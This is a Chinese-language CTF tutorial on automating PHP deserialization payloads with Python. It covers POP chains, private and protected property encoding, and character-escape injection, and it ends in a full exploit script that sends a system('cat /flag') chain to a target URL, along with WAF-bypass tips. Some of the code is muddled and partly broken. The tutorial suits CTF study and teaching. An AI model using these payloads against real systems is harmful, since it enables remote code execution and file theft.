Python自动化构造PHP反序列化Payload:从原理到实战的CTF利器
1. 项目概述与核心价值在CTF的Web赛题里PHP反序列化漏洞是块硬骨头也是块肥肉。说它硬是因为你得理解魔术方法、POP链构造、字符逃逸这些概念说它肥是因为一旦拿下往往就是直接Getshell或者拿到Flag。但很多新手甚至一些有经验的选手在构造Payload时容易卡壳——要么是手动拼接序列化字符串时漏了引号、算错了长度要么是面对复杂的对象链和属性修改时无从下手。我打CTF这些年见过太多人在这上面浪费大量时间最后因为一个字符的错误与Flag失之交臂。这个项目要解决的就是如何用Python这个“瑞士军刀”快速、精准、自动化地构造PHP反序列化Payload。它不是一个简单的概念讲解而是一套从原理到实战的完整工具链思维。核心价值在于将繁琐、易错的手工构造过程转化为可编程、可复用的自动化脚本。无论是面对__wakeup、__destruct的触发链还是需要精心构造的POP利用链甚至是带有字符逃逸的“套娃”题你都可以用Python快速生成Payload把精力集中在漏洞分析和利用逻辑上而不是和字符串格式较劲。这篇文章我会以一个BUU平台上的经典PHP反序列化题目为蓝本带你走通整个流程从题目分析、漏洞原理理解到用Python脚本一步步构造出能用的Payload最后成功拿到Flag。你会发现掌握了这套方法再遇到PHP反序列化你的第一反应不再是头疼而是兴奋地打开你的Python编辑器。2. 核心原理PHP反序列化漏洞为何能被利用要玩转自动化构造必须先吃透原理。PHP反序列化漏洞的根源在于unserialize()函数在还原对象时会自动调用一些特定的“魔术方法”。这些方法本意是方便开发者却在特定逻辑下成了攻击者的跳板。2.1 关键的魔术方法以下几个方法是构造利用链时最常关注的__wakeup(): 在unserialize()时自动调用。常用于初始化资源但如果我们能控制序列化数据可能绕过其内的某些检查。__destruct(): 在对象被销毁时自动调用。这是最常用的“入口点”因为反序列化生成的临时对象在脚本结束后总会销毁。__toString(): 当对象被当作字符串使用时调用。常用于将对象属性触发到其他函数。__get(),__set(): 访问或设置不可访问属性时调用。可用于触发其他方法或进行属性注入。__call(): 调用对象不可访问的方法时调用。漏洞利用的核心思路是寻找一条从反序列化入口如__destruct到危险函数如eval(),system(),file_put_contents()的调用链。这条链就是所谓的“属性导向编程”Property-Oriented Programming, POP链。2.2 序列化字符串的结构手工构造容易出错是因为PHP序列化格式有严格的语法。一个基础的对象序列化字符串如下O:长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值;...}O代表对象。属性类型s表示字符串i表示整数a表示数组N表示null。属性名和值都有长度字段必须精确匹配。例如一个Test类有一个公有属性$cmd值为whoami序列化后是O:4:Test:1:{s:3:cmd;s:6:whoami;}这里s:3:cmd表示属性名是长度为3的字符串cmd。如果算错长度反序列化就会失败。2.3 为什么需要Python来构造手工构造在简单情况下尚可但遇到以下情况就力不从心了复杂POP链涉及多个类、继承、引用R:或r:手动拼接极易出错。字符逃逸题目通过str_replace等函数过滤或增加字符需要精确计算序列化字符串长度和结构手工计算如同做数学题。动态属性修改需要根据题目逻辑动态修改属性值比如将is_admin从0改为1。编码与加密Payload可能需要base64、URL编码或者配合sha1、md5等Python处理起来得心应手。用Python你可以将序列化结构用字典和列表来模拟修改属性就像操作变量一样简单最后用几行代码生成精确的字符串彻底解放双手和大脑。3. 工具准备与Python基础库的使用工欲善其事必先利其器。我们不需要复杂的框架Python标准库就提供了强大的武器。3.1 核心库phpserialize(第三方) 与手动构造虽然Python没有内置的PHP序列化库但第三方库phpserialize可以完美模拟PHP的序列化行为。安装它pip install phpserialize。import phpserialize # 模拟一个简单的对象 class Test: def __init__(self): self.cmd whoami # 使用phpserialize进行序列化 obj Test() serialized_str phpserialize.dumps(obj.__dict__) # 注意dumps的是对象的__dict__ print(serialized_str.decode()) # 输出: O:4:Test:1:{s:3:cmd;s:6:whoami;}注意phpserialize.dumps()默认接受一个字典。对于对象通常传递obj.__dict__。它也能正确处理数组、布尔值、NULL等PHP类型。然而在CTF中我们经常需要构造PHP原生序列化字符串不支持的“畸形”结构或者进行精细化的控制如引用R:这时就需要手动构造。但我们可以用Python字符串格式化来辅助class_name Test property_name cmd property_value whoami # 手动拼接序列化字符串 payload fO:{len(class_name)}:{class_name}:1:{{s:{len(property_name)}:{property_name};s:{len(property_value)}:{property_value};}} print(payload) # 输出: O:4:Test:1:{s:3:cmd;s:6:whoami;}3.2 辅助库base64,urllib.parse,hashlibbase64: 用于编码Payload绕过一些WAF或满足题目输入格式。import base64 encoded_payload base64.b64encode(payload.encode()).decode()urllib.parse: 用于URL编码在GET请求或Cookie中传递Payload时常用。from urllib.parse import quote url_encoded_payload quote(payload)hashlib: 当题目需要验证签名如HMAC时用于生成哈希值。import hashlib hmac hashlib.md5((secret payload).encode()).hexdigest()3.3 网络请求库requests最终Payload需要发送给目标。requests库是首选。import requests url http://target.com/vuln.php cookies {data: encoded_payload} response requests.get(url, cookiescookies) print(response.text)3.4 开发环境建议我强烈建议使用VSCode Python插件或者PyCharm。配置好代码提示和调试功能。在编写复杂POP链构造脚本时能单步调试、查看变量状态效率会高很多。另外准备一个本地的PHP环境如PHPStudy、Docker用于测试生成的Payload是否有效这是避免“纸上谈兵”的关键。4. 实战案例拆解BUU平台一道经典PHP反序列化题我们以BUU平台上一道名为[极客大挑战 2019]PHP的题目为例题目通常有备份文件泄露如www.zip。假设通过源码审计我们找到了一个反序列化漏洞点。4.1 题目源码分析与漏洞定位通常题目源码压缩包解压后我们全局搜索unserialize、__wakeup、__destruct等关键词。假设我们找到关键文件class.php?php class Read { public $filename; public function __destruct() { if (isset($this-filename)) { highlight_file($this-filename); } } } class Show { public $source; public $str; public function __construct() { $this-source $this-str; echo $this-source; } public function __toString() { return $this-str[str]; } } // 另一个文件 index.php 可能包含以下代码 if (isset($_GET[data])) { $data $_GET[data]; unserialize($data); }漏洞分析index.php中的unserialize($data)是反序列化入口我们可控data参数。目标是读取flag.php文件。Read类的__destruct方法会调用highlight_file($this-filename)这正是我们想要的文件读取功能。但如何触发Read类的__destruct我们需要让反序列化生成一个Read对象。直接序列化Read对象设置filename为flag.php似乎可行。但题目可能对Read类做了限制或期望更复杂的链。假设审计发现程序期望我们反序列化的是一个Show对象并且存在__toString触发点。我们需要构造一条从Show对象到Read的__destruct的链。但为了简化教学我们假设可以直接利用Read类。4.2 手工构思Payload与痛点我们想构造的Payload对象是$obj new Read(); $obj-filename flag.php; echo serialize($obj);在PHP中执行上述代码得到O:4:Read:1:{s:8:filename;s:8:flag.php;}看起来很简单。但实际比赛中情况往往更复杂属性访问控制如果filename是private或protected属性序列化字符串格式会不同private会在属性名前加上类名如s:14:\0Read\0filename。字符逃逸如果源码在反序列化前对输入做了str_replace(_, , $data)把下划线替换为空格就会破坏序列化字符串的长度字段导致反序列化失败。我们需要构造特定的Payload利用这个替换去“吞掉”一部分字符串使得最终结构正确。POP链需要连接多个类的魔术方法。这些正是Python自动化脚本大显身手的地方。4.3 使用Python构造基础Payload我们先从最简单的直接构造开始模拟PHP的序列化输出。import phpserialize class Read: def __init__(self): self.filename flag.php # 方法1使用phpserialize (更接近PHP行为) obj_dict {filename: flag.php} # 注意phpserialize.dumps 需要指定对象类型。对于stdClass可以这样做。 # 但为了精确控制类名我们手动构造字典并序列化。 serialized_str phpserialize.dumps(obj_dict) # 这会序列化一个数组不是对象 print(phpserialize输出数组:, serialized_str.decode()) # 方法2手动构造对象序列化字符串更灵活推荐 class_name Read properties {filename: flag.php} property_count len(properties) payload_parts [] for key, value in properties.items(): # 处理属性名 key_part fs:{len(key)}:{key}; # 处理属性值 if isinstance(value, str): val_part fs:{len(value)}:{value}; elif isinstance(value, int): val_part fi:{value}; elif value is None: val_part N; else: # 其他类型可以扩展 raise ValueError(fUnsupported type: {type(value)}) payload_parts.append(key_part val_part) payload_body .join(payload_parts) payload fO:{len(class_name)}:{class_name}:{property_count}:{{{payload_body}}} print(\n手动构造输出对象:, payload)运行后手动构造的输出正是我们想要的O:4:Read:1:{s:8:filename;s:8:flag.php;}。4.4 处理私有与受保护属性在PHP中私有private和受保护protected属性在序列化时名字会被改写。private $var会变成\0类名\0var。protected $var会变成\0*\0var。这里的\0是空字符ASCII 0。在Python字符串中我们需要用\x00来表示。def serialize_php_object(class_name, properties): properties 是一个字典key为属性名value为元组(值, 类型)。 类型public, private, protected payload_parts [] for key, (value, access) in properties.items(): # 根据访问控制修饰符处理属性名 if access private: full_key f\x00{class_name}\x00{key} elif access protected: full_key f\x00*\x00{key} else: # public full_key key key_part fs:{len(full_key)}:{full_key}; # 处理属性值简化仅处理字符串 if isinstance(value, str): val_part fs:{len(value)}:{value}; else: # 处理其他类型... val_part fs:{len(str(value))}:{value}; # 示例 payload_parts.append(key_part val_part) property_count len(properties) payload_body .join(payload_parts) return fO:{len(class_name)}:{class_name}:{property_count}:{{{payload_body}}} # 示例私有属性 props {filename: (flag.php, private)} payload_private serialize_php_object(Read, props) print(私有属性Payload:, repr(payload_private)) # 使用repr显示转义字符 # 输出类似O:4:Read:1:{s:17:\\x00Read\\x00filename;s:8:flag.php;} # 注意实际字符串中包含空字符repr显示为\x00重要提示当Payload需要通过Web传输如URL、Cookie时空字符\x00可能被截断或处理不当。通常需要对其进行URL编码%00或Base64编码。在构造用于网络传输的最终Payload时务必进行编码。from urllib.parse import quote encoded_for_url quote(payload_private) print(URL编码后:, encoded_for_url)5. 高级技巧构造POP链与字符逃逸Payload5.1 自动化构造POP链假设题目源码更复杂我们需要连接Show类和Read类。分析发现Show的__toString方法返回$this-str[str]而Read的__destruct会读取$this-filename。如果能让$this-filename是一个Show对象并且在highlight_file期望字符串参数时触发__toString但这里不匹配。我们换一个更典型的链假设有FileHandler类其__toString会读取$this-path文件内容。而Welcome类的__destruct会echo $this-data。那么链就是Welcome-__destruct-echo $this-data-$this-data是FileHandler对象 - 触发FileHandler-__toString- 读取$this-path。用Python构造这样的链class PHPObject: 一个简单的辅助类帮助我们构建嵌套的对象结构 def __init__(self, class_name, properties): self.class_name class_name self.properties properties # dict of {prop_name: (value, access)} def build_pop_chain(): # 1. 创建 FileHandler 对象 file_handler_props { path: (/etc/passwd, public) # 假设我们要读这个文件 } file_handler PHPObject(FileHandler, file_handler_props) # 2. 创建 Welcome 对象其 data 属性是 FileHandler 对象 # 在PHP序列化中对象作为属性值其序列化字符串直接嵌入。 # 我们需要先序列化 file_handler file_handler_serialized serialize_php_object(file_handler.class_name, file_handler.properties) # 注意file_handler_serialized 作为一个字符串值成为 Welcome 对象的一个属性 welcome_props { data: (file_handler_serialized, public) # 这里存的是序列化后的字符串不是对象引用。实际POP链需要对象引用。 } # 上面的写法是错误的因为序列化字符串作为字符串存储反序列化后不会是对象。 # 正确的POP链构造需要对象引用。在PHP序列化中可以用 r: 或 R: 表示引用。 # 但更常见的做法是让属性直接是另一个对象。在序列化字符串中这表现为嵌套的对象定义。 # 我们需要手动构造这种嵌套。 # 让我们换一种方式直接手动构造整个嵌套结构的字符串。 # 目标序列化结构 # O:7:Welcome:1:{s:4:data;O:11:FileHandler:1:{s:4:path;s:11:/etc/passwd;}} # 先构造内部的 FileHandler inner_props {path: (/etc/passwd, public)} inner_payload serialize_php_object(FileHandler, inner_props) # 再构造外部的 Welcome其 data 属性的值就是整个 inner_payload去掉首尾的 O...; # 但注意作为属性值它应该被当作一个字符串吗不在序列化格式中如果属性值是一个对象它应该以 O: 开头。 # 所以我们需要在构造 Welcome 的属性部分时直接写入 inner_payload。 # 修改 serialize_php_object 函数使其能处理属性值为另一个序列化对象字符串的情况。 print(内部对象序列化:, inner_payload) # 手动拼接最终的Payload对于复杂链手动规划结构更清晰 final_payload fO:7:Welcome:1:{{s:4:data;{inner_payload}}} return final_payload pop_payload build_pop_chain() print(POP链Payload:, pop_payload)对于更复杂的、涉及对象引用R:的链原理类似但需要跟踪对象的引用ID。在PHP序列化中每个序列化的对象或数组都有一个内部编号从1开始。R:2;表示引用编号为2的对象。构造时需要仔细规划序列化顺序和编号。5.2 字符逃逸字符串长度漏洞的自动化计算字符逃逸是PHP反序列化中一类经典的题目。例如源码中有$data str_replace(_, , $_GET[data]); $obj unserialize($data);我们的输入data中的下划线会被替换成空格。这会导致序列化字符串中s:8:flag.php这样的长度标识与实际内容长度不符因为flag.php是8个字符但如果我们在其中插入下划线并被替换字符数就变了。利用原理我们构造一个Payload使得经过替换后序列化字符串的“结构”恰好符合我们的预期。通常是通过精心构造的“填充物”让替换操作“吃掉”一部分结构使得后面的部分被解析为我们想要的属性。假设原始Payload结构为a:2:{s:4:key1;s:6:value1;s:4:key2;s:20:desired_payload_here;}我们控制key2的值。如果key2的值中包含下划线每个下划线会被替换成一个空格长度不变但字符变了不影响长度计算不这里的关键是替换可能发生在desired_payload内部而desired_payload本身可能包含序列化语法如;}用于闭合前一个数组并开始新对象。更典型的例子是“过滤后字符数增加”的逃逸。比如过滤函数把x替换成xx字符串变长了。我们需要计算需要多少个x使得被替换增长后恰好“顶掉”后面用于闭合的;}从而让我们注入的序列化数据生效。自动化计算脚本思路定义“逃逸前”我们想要注入的恶意序列化字符串$inject。定义过滤规则如x-xx。计算需要多少“填充字符”比如x使得原长度 填充字符数 * (过滤后增长倍数 - 1) 原长度 需要逃逸掉的字符数。构造最终的Payload原结构前缀 填充字符 $inject 原结构后缀。def generate_escape_payload(original_prefix, original_suffix, filter_func, inject_payload): 生成字符逃逸Payload。 :param original_prefix: 逃逸点之前的固定序列化字符串部分。 :param original_suffix: 逃逸点之后需要被“顶掉”的部分。 :param filter_func: 过滤函数接收字符串返回过滤后的字符串。 :param inject_payload: 我们想要注入的恶意序列化字符串。 :return: 最终的Payload。 # 我们需要计算需要多少填充字符比如x使得过滤后original_suffix被完全“推出”序列化解析范围。 # 简化模型假设过滤规则是每个x变成xx长度1。 # 设需要n个x。 # 过滤前长度len(prefix) n len(inject) len(suffix) # 过滤后长度len(prefix) 2n len(filter_func(inject)) len(filter_func(suffix)) # 我们需要过滤后的字符串中从prefix结束到inject结束的部分恰好是有效的序列化结构并且suffix部分被当作“值”的一部分而忽略。 # 更通用的方法是模拟不断尝试增加填充字符直到过滤后的整个字符串能被unserialize并且unserialize的结果包含我们的注入对象。 # 这里给出一个概念性代码针对特定题型需要调整。 # 以简单的“增长型”逃逸为例过滤使每个_变成__长度1。 # 我们需要逃逸掉 original_suffix假设其长度为 L。 # 每增加一个_过滤后多出一个字符。我们需要 N 个_使得 N L。 # 那么构造payload original_prefix (_ * L) inject_payload original_suffix # 过滤后original_prefix (_ * 2L) filter_func(inject_payload) filter_func(original_suffix) # 由于增加了L个字符序列化解析时会多“吃掉”L个字符正好把original_suffix“吃”掉使得inject_payload生效。 # 计算需要逃逸的长度即 original_suffix 的长度 escape_length len(original_suffix) padding_char _ padding padding_char * escape_length raw_payload original_prefix padding inject_payload original_suffix # 模拟过滤 filtered_payload raw_payload.replace(padding_char, padding_char * 2) # 假设过滤是 _ - __ print(f原始Payload: {raw_payload}) print(f过滤后Payload: {filtered_payload}) # 注意这里需要验证 filtered_payload 反序列化是否成功且包含注入对象。可以写一个简单的PHP测试脚本或用subprocess调用php -r进行验证。 return raw_payload # 示例假设原序列化是 a:1:{s:4:data;s:10:VALUE_HERE;} # 我们想注入一个对象 O:4:Read:1:{s:8:filename;s:8:flag.php;} # 那么 original_prefix a:1:{s:4:data;s:10: # original_suffix ;} # inject_payload ;}O:4:Read:1:{s:8:filename;s:8:flag.php;}// // 注释掉后面可能多余的字符 # 注意 inject_payload 需要先闭合前面的字符串和结构然后开始新对象。 prefix a:1:{s:4:data;s:10: suffix ;} inject ;}O:4:Read:1:{s:8:filename;s:8:flag.php;}// escape_payload generate_escape_payload(prefix, suffix, lambda s: s.replace(_, __), inject)重要提示字符逃逸的构造非常精细强烈建议将生成的Payload在本地PHP环境中测试无误后再用于实战。可以用Python的subprocess模块调用PHP CLI进行测试import subprocess php_code f?php $data {filtered_payload}; $data str_replace(_, __, $data); var_dump(unserialize($data)); ? result subprocess.run([php, -r, php_code], capture_outputTrue, textTrue) print(result.stdout)6. 完整实战演练从审计到利用的Python脚本假设我们面对一道综合题需要1. 审计源码找到POP链2. 构造利用链3. 处理属性修饰符4. 进行Base64编码传输。我们编写一个完整的脚本buu_php_deserialize.py#!/usr/bin/env python3 BUU PHP反序列化题目自动化利用脚本 假设题目index.php 接收参数 data对其进行反序列化。 存在类Welcome, FileHandler, Read。 利用链Welcome-__destruct 触发 echo $this-data - FileHandler对象 - __toString 触发 file_get_contents($this-path) - path指向flag文件。 import base64 import requests import subprocess import sys def serialize_php_object(class_name, properties): 生成PHP对象序列化字符串。 properties: dict, { prop_name: (value, access) } access: public/private/protected 支持字符串、整数属性值。 payload_parts [] for prop_name, (prop_value, access) in properties.items(): # 处理属性名 if access private: full_key f\\x00{class_name}\\x00{prop_name} elif access protected: full_key f\\x00*\\x00{prop_name} else: full_key prop_name key_part fs:{len(full_key)}:{full_key}; # 处理属性值 if isinstance(prop_value, str): val_part fs:{len(prop_value)}:{prop_value}; elif isinstance(prop_value, int): val_part fi:{prop_value}; elif isinstance(prop_value, dict) and prop_value.get(type) object: # 嵌套对象这里简化处理实际需要递归或传入序列化后的字符串 # 假设 prop_value[serialized] 是已经序列化好的字符串 val_part prop_value[serialized] else: # 其他类型如数组可以扩展 raise ValueError(fUnsupported property value type for {prop_name}: {type(prop_value)}) payload_parts.append(key_part val_part) property_count len(properties) payload_body .join(payload_parts) return fO:{len(class_name)}:{class_name}:{property_count}:{{{payload_body}}} def build_pop_chain(): 构造具体的POP链Payload # 1. 构造最内层的 Read 对象假设最终目标是触发Read的__destruct read_props { filename: (/var/www/html/flag.php, public) } read_serialized serialize_php_object(Read, read_props) # 2. 构造 FileHandler 对象其 path 属性指向一个无关文件但其 __toString 可能被利用。 # 但根据假设链我们需要让 Welcome 的 data 是 FileHandler而 FileHandler 的某个属性触发 Read。 # 假设链是Welcome-data (FileHandler) - FileHandler-__toString 读取 path - path 我们可控。 # 但 __toString 返回文件内容不是对象。我们换一个链。 # 假设链是Welcome-__destruct 调用 $this-data-show()。而 FileHandler 有 show() 方法其中调用 readfile($this-path)。 # 由于是演示我们简化直接让 Welcome 的 data 是 Read 对象。 # 但这样太直接通常题目不会这么设计。我们按复杂链构造示例。 # 假设实际链Welcome-data (是一个数组) - 数组的某个元素是 FileHandler - FileHandler 在某种情况下被当作字符串 - __toString 触发 file_get_contents($this-path) - path 是 Read 对象不对。 # 让我们重新设计一个更真实的示例链基于常见CTF题 # 存在类Test1 { public $obj; public function __destruct() { $this-obj-get(); } } # 存在类Test2 { public $func; public function get() { ($this-func)(); } } # 存在类Test3 { public $cmd; public function __invoke() { system($this-cmd); } } # 链Test1-obj Test2; Test2-func Test3; Test3-cmd cat /flag; # 构造 Test3 test3_props { cmd: (cat /flag, public) } test3_serialized serialize_php_object(Test3, test3_props) # 构造 Test2其 func 属性是 Test3 对象。在序列化中这需要将 test3_serialized 作为属性值的一部分。 # 但注意属性值本身是一个对象所以其序列化格式就是 O:...; # 所以 Test2 的 func 属性的值类型是 object其值就是 test3_serialized 字符串。 test2_props { func: (test3_serialized, public) # 这里需要标记为对象类型修改 serialize_php_object 支持 } # 修改调用方式我们直接手动拼接因为属性值是一个对象序列化字符串。 # 手动构造 Test2 test2_payload fO:5:Test2:1:{{s:4:func;{test3_serialized}}} # 构造 Test1其 obj 属性是 Test2 对象 test1_payload fO:5:Test1:1:{{s:3:obj;{test2_payload}}} return test1_payload def test_payload_locally(payload): 在本地PHP环境中测试Payload是否有效 # 写一个临时PHP脚本 php_script f?php class Test1 {{ public $obj; public function __destruct() {{ if (method_exists($this-obj, get)) {{ $this-obj-get(); }} }} }} class Test2 {{ public $func; public function get() {{ if (is_callable($this-func)) {{ ($this-func)(); }} }} }} class Test3 {{ public $cmd; public function __invoke() {{ system($this-cmd); }} }} $data {payload}; $obj unserialize($data); ? with open(/tmp/test_payload.php, w) as f: f.write(php_script) # 执行注意这里system会真的执行命令测试时请用无害命令如echo test # 修改 Test3 的 cmd 为 echo PWNED safe_payload payload.replace(cat /flag, echo PWNED_SUCCESS) php_script_safe php_script.replace(payload, safe_payload) # 使用 subprocess 运行 result subprocess.run([php, -r, safe_payload], capture_outputTrue, textTrue, inputphp_script_safe) # 或者直接执行临时文件 # result subprocess.run([php, /tmp/test_payload.php], capture_outputTrue, textTrue) if PWNED_SUCCESS in result.stdout or PWNED_SUCCESS in result.stderr: print([] 本地测试成功Payload有效。) return True else: print([-] 本地测试失败。) print(STDOUT:, result.stdout) print(STDERR:, result.stderr) return False def exploit(target_url): 向目标发送Payload payload build_pop_chain() print([*] 生成的Payload:) print(payload) # 通常需要对Payload进行编码 encoded_payload base64.b64encode(payload.encode()).decode() print(f\n[*] Base64编码后: {encoded_payload}) # 本地测试可选确保Payload语法正确 if not test_payload_locally(payload): print([-] 本地测试失败请检查Payload构造。) return # 发送请求 params {data: encoded_payload} # 根据题目实际情况也可能是cookie或其他位置 headers {User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0} print(f\n[*] 正在发送请求到 {target_url} ...) try: response requests.get(target_url, paramsparams, headersheaders, timeout10) print(f[] 响应状态码: {response.status_code}) print(f[] 响应内容 (前500字符):\n{response.text[:500]}) # 检查响应中是否包含flag常见格式 import re flag_pattern re.compile(rflag\{[^}]\}|FLAG\{[^}]\}|[A-Za-z0-9]{32}) flags flag_pattern.findall(response.text) if flags: print(f\n[] 发现Flag: {flags[0]}) else: print(\n[-] 未在响应中直接发现Flag请手动检查响应内容或尝试其他利用链。) except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: {sys.argv[0]} 目标URL) print(示例: python3 buu_php_deserialize.py http://target.com/vuln.php) sys.exit(1) target sys.argv[1] exploit(target)脚本使用说明根据实际题目修改build_pop_chain()函数中的类名、属性名和利用链逻辑。在test_payload_locally中使用无害命令如echo、id进行测试避免对本地系统造成影响。根据题目实际情况调整exploit()函数中的参数位置GET/POST/Cookie、编码方式等。7. 常见问题排查与调试技巧即使有了自动化脚本在实际利用过程中也可能遇到各种问题。以下是一些常见坑点及解决方案。7.1 Payload发送后无回显或500错误检查序列化字符串格式这是最常见的问题。多一个少一个分号、引号不匹配、长度错误都会导致反序列化失败。使用print(repr(payload))查看原始字符串特别注意空字符\x00和转义字符。在PHP中可以用error_log(serialize($obj));或var_dump(serialize($obj));输出正确的序列化字符串进行对比。检查编码如果Payload通过URL传输确保进行了正确的URL编码urllib.parse.quote。如果通过Cookie传输注意Cookie值通常不能包含分号、空格等字符Base64编码是稳妥的选择。检查魔术方法触发条件确保你的利用链确实能触发。例如__destruct在对象销毁时触发但如果脚本有exit()或异常可能不会执行到。__wakeup在反序列化后立即触发但可能包含限制代码。查看服务器错误日志如果可能尝试触发一个明显的错误如注入一个不存在的类看是否能从错误信息中获取线索。7.2 利用链执行了但没达到预期效果属性访问权限确保属性public/private/protected的序列化格式正确。私有和保护属性的名字包含空字符和类名必须完全匹配。引用问题如果利用链中涉及对象引用$this-a $this-b序列化字符串中会出现R:或r:引用标识。确保你的Python脚本能正确生成这些引用。phpserialize库可以处理引用手动构造则需要跟踪对象ID。字符编码与多字节如果题目涉及str_replace、preg_replace等操作且字符串包含多字节字符如中文注意PHP中strlen计算的是字节数而mb_strlen计算的是字符数。在计算序列化中的长度字段时必须使用字节数。7.3 使用Python进行动态调试本地搭建环境用Docker或PHPStudy快速搭建一个与题目相似的环境PHP版本、扩展。将题目源码复制到本地在关键位置添加var_dump、error_log或file_put_contents(debug.txt, $data)来观察数据流。交互式调试在Python脚本中可以在关键步骤打印Payload并复制到本地PHP脚本中手动反序列化测试。分段测试不要一次性构造完整的复杂链。先测试最内层的对象能否单独反序列化并触发魔术方法再一层层往外包裹。7.4 针对WAF或过滤的绕过改变大小写PHP类名大小写敏感但有时题目使用autoload且文件系统不区分大小写可以尝试。使用别名Namespaces如果类在命名空间中序列化字符串需要包含完整的命名空间如O:22:Namespace\\Sub\\Class:1:{...}。序列化格式变异PHP的serialize()输出格式相对固定但unserialize()有时对空白字符不敏感如空格、换行。可以尝试在Payload中插入空白字符看是否能绕过简单的字符串匹配WAF。多重编码尝试Base64、URL编码、Hex编码的组合或者自定义编码方式。8. 总结与进阶思考通过Python来构造PHP反序列化Payload本质上是将漏洞利用过程“工程化”。它带来的不仅是效率提升更是思维模式的转变——从手工试错转向系统化、可复用的攻击链开发。这套方法的核心优势在于可重复性针对同一类漏洞只需微调脚本即可快速生成新Payload。复杂性管理面对多层嵌套、字符逃逸等复杂情况用程序处理远比人脑可靠。集成测试可以轻松将Payload生成、本地测试、发送攻击集成在一个流程中。在实战中我习惯为不同类型的反序列化漏洞编写模板脚本。比如一个基础的对象注入模板、一个字符逃逸计算模板、一个POP链构造模板。遇到新题首先进行代码审计理清利用链然后选择合适的模板进行修改和组装。最后再分享一个小心得在CTF中PHP反序列化题目的Flag不一定在flag.php。多留意/proc/self/environ、/etc/passwd、/var/www/html/index.php源码、/tmp目录下的临时文件甚至是数据库凭证。你的Payload构造脚本应该足够灵活能够方便地替换最终要执行的命令或读取的文件路径。把cat /flag作为一个可配置变量会让你在解题时更加游刃有余。